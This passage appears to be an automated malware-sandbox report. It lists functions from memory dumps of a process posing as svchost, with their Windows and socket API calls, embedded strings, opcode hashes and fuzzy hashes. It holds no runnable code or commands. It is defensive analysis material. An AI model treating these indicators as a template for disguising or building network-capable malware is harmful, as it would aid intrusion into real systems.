Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdupmalloc
String ID:
API String ID: 111713529-0
Opcode ID: d1ba6d1d21f2e3dad0caf2e82429f9c168c85e3aab7faece0acb10ed47e5996e
Instruction ID: 7c42cd3166b286a31b5f79efe16cc1dc1c7beae132fd132e09c8cb5482ccc0d7
Opcode Fuzzy Hash: d1ba6d1d21f2e3dad0caf2e82429f9c168c85e3aab7faece0acb10ed47e5996e
Instruction Fuzzy Hash: EE213D29F0BB4A81EE569F06E528338A6A4EF49FC0B0A4435EE4D17B55EF3DE4518314

Function 64947570 Relevance: 7.6, APIs: 5, Instructions: 57timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 649475B5
GetCurrentProcessId.KERNEL32 ref: 649475C0
GetCurrentThreadId.KERNEL32 ref: 649475C8
GetTickCount.KERNEL32 ref: 649475D0
QueryPerformanceCounter.KERNEL32 ref: 649475DD

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: ea8bfe2061e22a54fb9383ec99bc53ec21c7b77bb38b29a6e5ad63f23be09ef5
Instruction ID: 0c0c2922cb4178c1b0210dc40f9cacb2f98c604e546ea9db0ef1c374853c2b83
Opcode Fuzzy Hash: ea8bfe2061e22a54fb9383ec99bc53ec21c7b77bb38b29a6e5ad63f23be09ef5
Instruction Fuzzy Hash: 6D11A322791B5486F711AB29FD0835663A2B789BE4F181274DE6D47BA4EB3CC896C310

Function 649465A0 Relevance: 7.6, APIs: 5, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 649465CE
Sleep.KERNEL32(?,?,?,?,649416A0), ref: 64946602
Sleep.KERNEL32(?,?,?,?,649416A0), ref: 649465F7

Part of subcall function 64943070: CloseHandle.KERNEL32 ref: 6494308F

_errno.MSVCRT ref: 6494662C
_errno.MSVCRT ref: 6494663F

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CloseHandleSleep_errno
String ID:
API String ID: 3806203616-0
Opcode ID: 6a839e314fafbd7497d028076ab11196cdc404032560b441b8063b65648a7ce0
Instruction ID: 03ddaebe43857b623ab1e550e4093299913edf0f9749a6867346f71a96c3e09c
Opcode Fuzzy Hash: 6a839e314fafbd7497d028076ab11196cdc404032560b441b8063b65648a7ce0
Instruction Fuzzy Hash: 1C018CB53C060482FB99AF36ED1036D2765AB56BE8F5812358E2A83790DF3DC891C710

Function 64941A20 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 64941A36
LeaveCriticalSection.KERNEL32 ref: 64941A53
LeaveCriticalSection.KERNEL32 ref: 64941A7A

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 57d73889eeb91523de87f080284301cfa8d29add8d7bd3e5f7b6e4a3d255b1d7
Instruction ID: 2dd914d0eaea0fc0e1107ad45c6fa9da700d638ea0117e3c271b5cb5a1496ee8
Opcode Fuzzy Hash: 57d73889eeb91523de87f080284301cfa8d29add8d7bd3e5f7b6e4a3d255b1d7
Instruction Fuzzy Hash: 8E01F72279520983EB194F67FD55319B6959B97BE6F18C2308E0E46390ED3CC4A68300

Function 00007FFDA557E530 Relevance: 7.5, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E577
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E581
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E58B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E595
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E59F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E5A8

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 72c37c0da18354029ccf449bb2fbeb96b4f3bf4197331d8e1f86f4f6a8450b39
Instruction ID: 8606c48f1902bdce3e6da9a820231a5313994c80e3d26e6c2e9ce07148e70555
Opcode Fuzzy Hash: 72c37c0da18354029ccf449bb2fbeb96b4f3bf4197331d8e1f86f4f6a8450b39
Instruction Fuzzy Hash: 3F11077AA0AB4582D7229F22E854229B3B4FB89F94F180531EE8D03B69CF7CD4958714

Function 64946E10 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 64946E25
OpenProcess.KERNEL32 ref: 64946E3C
CloseHandle.KERNEL32 ref: 64946E4A
_errno.MSVCRT ref: 64946E52
GetLastError.KERNEL32 ref: 64946E5B

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Process$CloseCurrentErrorHandleLastOpen_errno
String ID:
API String ID: 202612177-0
Opcode ID: 587258b105657c6678b600fc4fc5aeb211ef1c91ff3197a6972a381e73b22a44
Instruction ID: d49a8a23e1058b1192e3c43f6f29e1dfd3ea68b05546fdb3f02e8313691cc950
Opcode Fuzzy Hash: 587258b105657c6678b600fc4fc5aeb211ef1c91ff3197a6972a381e73b22a44
Instruction Fuzzy Hash: B1F0A76038550187EF0D5F72D8483AF61E79B0EB55F145539CD1A86390EF3DC975C620

Function 00007FFDA55A96C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FFDA55A977E
memchr.VCRUNTIME140 ref: 00007FFDA55A97E5
memchr.VCRUNTIME140 ref: 00007FFDA55A98A0

Strings

response reading failed (errno: %d), xrefs: 00007FFDA55A9784

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: memchr$ErrorLast
String ID: response reading failed (errno: %d)
API String ID: 1529586282-1140215186
Opcode ID: 9c86d5756c3c46e04771a8445c278a0c19422653bd5d77946d67baac05f14e25
Instruction ID: 17d9e47f3c713fdc8d1648bf842d32ead7b6099efa9633185d078f4bca3ef420
Opcode Fuzzy Hash: 9c86d5756c3c46e04771a8445c278a0c19422653bd5d77946d67baac05f14e25
Instruction Fuzzy Hash: 0651646670A78A86EA529F61A4643AA63A4FF46F84F844435DF8D47783DF3CE505C304

Function 00007FFDA55D2759 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

SimpleString::operator=.MSOBJ140-MSVCRT ref: 00007FFDA55D2789

Strings

Expire Date, xrefs: 00007FFDA55D2CCB, 00007FFDA55D2CF8
FALSE, xrefs: 00007FFDA55D2760
%s: %s, xrefs: 00007FFDA55D2CFF

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: SimpleString::operator=
String ID: %s: %s$Expire Date$FALSE
API String ID: 356670603-71436683
Opcode ID: e027ffc4118d0b9bb66c5e752e5dddc9c15727a926725d0609c68769251add0f
Instruction ID: 079f773202453a9140856bb273abc1ef6654877665cc49479c7ec161555b68d4
Opcode Fuzzy Hash: e027ffc4118d0b9bb66c5e752e5dddc9c15727a926725d0609c68769251add0f
Instruction Fuzzy Hash: 2631802BB0A6CAD4FA22DF60A4603ED2360AB56B98F900031DE0D57797DE38E5459304

Function 00007FFDA5595600 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5595447
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5595459
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55956B9
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55956F9

Strings

Location:, xrefs: 00007FFDA5595683
Last-Modified:, xrefs: 00007FFDA5595626

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup
String ID: Last-Modified:$Location:
API String ID: 2653869212-3815226001
Opcode ID: 599a1c7a1d5416f27c979ff16cb942ea950d10dc1930039c8dc97ed055a1bf7a
Instruction ID: eda5080b957688927ceae3cd39c26854b3b6e7bc7c764678da65bb95ffdb1d5c
Opcode Fuzzy Hash: 599a1c7a1d5416f27c979ff16cb942ea950d10dc1930039c8dc97ed055a1bf7a
Instruction Fuzzy Hash: 4F317C6AF0F6CAC5FB16AE2490243B926A09F23F84F080035DA0D467D7EF6CE464C359

Function 00007FFDA55A4470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A4495
WSACreateEvent.WS2_32 ref: 00007FFDA55A452C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A45A2

Strings

d, xrefs: 00007FFDA55A4522

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: CreateEventcallocfree
String ID: d
API String ID: 1150888495-2564639436
Opcode ID: 443729bc57561f6a795b4ea31471f5cae1b3903848d998f3ab6d23dae0dc128a
Instruction ID: 258b84132e8e52d5559643e39df5583ed150a00807e63722faac7d9bc607948d
Opcode Fuzzy Hash: 443729bc57561f6a795b4ea31471f5cae1b3903848d998f3ab6d23dae0dc128a
Instruction Fuzzy Hash: C4311D39B1AA4AC1EB02DF61D8643A962A1FF9AF44F840831DA4D463ABDF7DE504C354

Function 64944410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 64944464
_ultoa.MSVCRT ref: 64944476
OutputDebugStringA.KERNEL32 ref: 649444BC

Strings

Error cleaning up spin_keys for thread , xrefs: 6494444A

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CurrentDebugOutputStringThread_ultoa
String ID: Error cleaning up spin_keys for thread
API String ID: 2892977721-2906507043
Opcode ID: d7c6b92f146a5297dce9a32d46367a64f4f2bdd00a0e22e95ee11bb5d40a8c71
Instruction ID: 6273affc26e83ed8f3c49a0d043d27fd3918550a2ad95c3d4e2fd7ba9164ba49
Opcode Fuzzy Hash: d7c6b92f146a5297dce9a32d46367a64f4f2bdd00a0e22e95ee11bb5d40a8c71
Instruction Fuzzy Hash: A711086278868082FF258F34E41035A2BE2E74676CF540731DA68467E8DB3DC545CB01

Function 00007FFDA557C690 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

inflateInit_.ZLIB1 ref: 00007FFDA557C6CC

Strings

Error while processing content unencoding: %s, xrefs: 00007FFDA557C6E2
1.3.1, xrefs: 00007FFDA557C6C1
Error while processing content unencoding: Unknown failure within decompression software., xrefs: 00007FFDA557C703

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: Init_inflate
String ID: 1.3.1$Error while processing content unencoding: %s$Error while processing content unencoding: Unknown failure within decompression software.
API String ID: 2898956097-2669389255
Opcode ID: 9c085d17d2010e19597c6ec7f19489e1812f7325124c332b6a279acef5a48fcd
Instruction ID: 08398bb5a9e2dc8ff652af9b9fa86d9838bc4aa235cafc5b4d8d016bddbb5ef2
Opcode Fuzzy Hash: 9c085d17d2010e19597c6ec7f19489e1812f7325124c332b6a279acef5a48fcd
Instruction Fuzzy Hash: C7119167B19A86C1EB51CF16F4502692360FB45BC0F841032EA5D57B56DF2CD592C708

Function 64941C70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 64941C95
GetCurrentThreadId.KERNEL32 ref: 64941CD0

Strings

C%p %d V=%0X w=%ld %s, xrefs: 64941CA3
C%p %d %s, xrefs: 64941CDE

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID: C%p %d %s$C%p %d V=%0X w=%ld %s
API String ID: 2882836952-884133013
Opcode ID: 4ee0d97755dc30819cc537833119c3faf73e6318be0a8baa9e96090fdbdd1b5a
Instruction ID: a46da822108b5d6275fe5987b69bee3bdd31e53238ff1fe5d77ed74437cca604
Opcode Fuzzy Hash: 4ee0d97755dc30819cc537833119c3faf73e6318be0a8baa9e96090fdbdd1b5a
Instruction Fuzzy Hash: 6B018F7A38470086EB10DF26F840B4A3BA5F399F98F048225DD4C43710EB39C526C710

Function 00007FFDA55BC600 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FFDA55BC63F
WSAGetLastError.WS2_32 ref: 00007FFDA55BC649

Strings

Sending data failed (%d), xrefs: 00007FFDA55BC64F
SENT, xrefs: 00007FFDA55BC664

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLastsend
String ID: SENT$Sending data failed (%d)
API String ID: 1802528911-3459338696
Opcode ID: 2aff274a2aeec338eb62c68624eddaac8b154ca536ab6b363adfdbf71e396f6b
Instruction ID: 84e5b35879f1af6f0dfcafb85cea7157ceb441bf74ce9823d6e60b96d0afce9e
Opcode Fuzzy Hash: 2aff274a2aeec338eb62c68624eddaac8b154ca536ab6b363adfdbf71e396f6b
Instruction Fuzzy Hash: 3201F727B2D69681DB11CF1AF89066A6B20EB8AFD0F542134FE4E47B5BDE2CC0418744

Function 00007FFDA557C780 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557C79F
inflateEnd.ZLIB1 ref: 00007FFDA557C7B7

Strings

Error while processing content unencoding: %s, xrefs: 00007FFDA557C7CD
Error while processing content unencoding: Unknown failure within decompression software., xrefs: 00007FFDA557C7DB

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: freeinflate
String ID: Error while processing content unencoding: %s$Error while processing content unencoding: Unknown failure within decompression software.
API String ID: 3681154942-1163695657
Opcode ID: 22443a040a1fca1175d6249ada236b8e373c81af97ff458de85bb1a143640a9d
Instruction ID: 5e3b42adfddd49474e99d3a6b9710cb09a3be829ef9d0edde58485a9517dd04a
Opcode Fuzzy Hash: 22443a040a1fca1175d6249ada236b8e373c81af97ff458de85bb1a143640a9d
Instruction Fuzzy Hash: 3001526BB0A656D2EB15CF11E9643682360FB46F80F804175D64D47B56DF38E4A5C308

Function 00007FFDA55CA6B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA5580C70: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CA5
Part of subcall function 00007FFDA5580C70: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CB8
Part of subcall function 00007FFDA5580C70: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CDF
Part of subcall function 00007FFDA5580C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CEC

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CA6E2
_wcsdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55CA6F0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CA6FC

Strings

%s/%s, xrefs: 00007FFDA55CA6C0

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$ByteCharMultiWide$_wcsdupmalloc
String ID: %s/%s
API String ID: 612564020-2758257063
Opcode ID: 4da834e0b1d64bc39cdebe95e6ac5c54e097d1dc2f923d92126572dcf9f8704a
Instruction ID: 0e0d317a9ca17a14efd699fccc813ceaa2ca1957e4908cbdcc6954d9268833ee
Opcode Fuzzy Hash: 4da834e0b1d64bc39cdebe95e6ac5c54e097d1dc2f923d92126572dcf9f8704a
Instruction Fuzzy Hash: 56F0B41DF0B64A81EE07DF52F9682B952E1AF4AFC0B480030DE0E07B57ED2CD4854708

Function 64941440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 64941459
GetProcAddress.KERNEL32 ref: 6494146E

Strings

libgcj-16.dll, xrefs: 64941452
_Jv_RegisterClasses, xrefs: 64941464

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll
API String ID: 1646373207-328863460
Opcode ID: bc905c6d137a0c53196b9c0bd09bc0aeaa0806cc2f24fc447d6273a82a917542
Instruction ID: 41b3a94f408f7bae3b9d725e5a4e0a0769d76ac245e5e7c58dbb607d6e734eb2
